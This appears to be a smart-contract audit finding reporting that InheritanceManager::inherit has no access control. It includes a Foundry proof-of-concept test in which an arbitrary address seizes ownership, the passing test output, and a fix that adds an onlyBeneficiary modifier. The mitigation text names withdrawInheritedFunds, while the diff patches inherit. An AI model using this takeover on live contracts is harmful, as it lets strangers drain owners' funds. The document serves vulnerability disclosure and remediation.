Description: In InheritanceManager::inherit, there is no access control to prevent an unauthorized user from becoming a contract owner.
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Impact: If there's only one beneficiary, then anyone can become the owner of the contract. At that point, the contract can be drained of funds by calling InheritanceManager::sendERC20 and InheritanceManager::sendETH.
A less severe impact is if there's more than one beneficiary, then the wallet can be set as inherited by anyone.
Proof of Concept:
Add the following unit test to InheritanceManagerTest.t.sol:
function test_unauthorizedUserBecomesContractOwner() public {
address attacker = makeAddr("attacker");
vm.prank(owner);
im.addBeneficiery(user1);
vm.warp(1);
vm.deal(address(im), 10e10);
vm.warp(1 + 90 days);
vm.prank(attacker);
im.inherit();
assertEq(attacker, im.getOwner());
}
Run the unit test: forge test --mt test_unauthorizedUserBecomesContractOwner:
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_unauthorizedUserBecomesContractOwner() (gas: 93431)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.80ms (320.69µs CPU time)
Recommended Mitigation: Implement a modifier that provides the access check to ensure that only beneficiaries can call InheritanceManager::withdrawInheritedFunds.
Add the following modifier to InheritanceManager contract in InheritanceManager.sol:
+ modifier onlyBeneficiary() {
+ bool isBeneficiary = false;
+ for (uint256 i = 0; i < beneficiaries.length; i++) {
+ if (beneficiaries[i] == msg.sender) {
+ isBeneficiary = true;
+ break;
+ }
+ }
+ require(isBeneficiary, "Only beneficiaries can call this function");
+ _;
+ }
Add the modifier to InheritanceManager::inherit:
- function inherit() external {
+ function inherit() external onlyBeneficiary {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}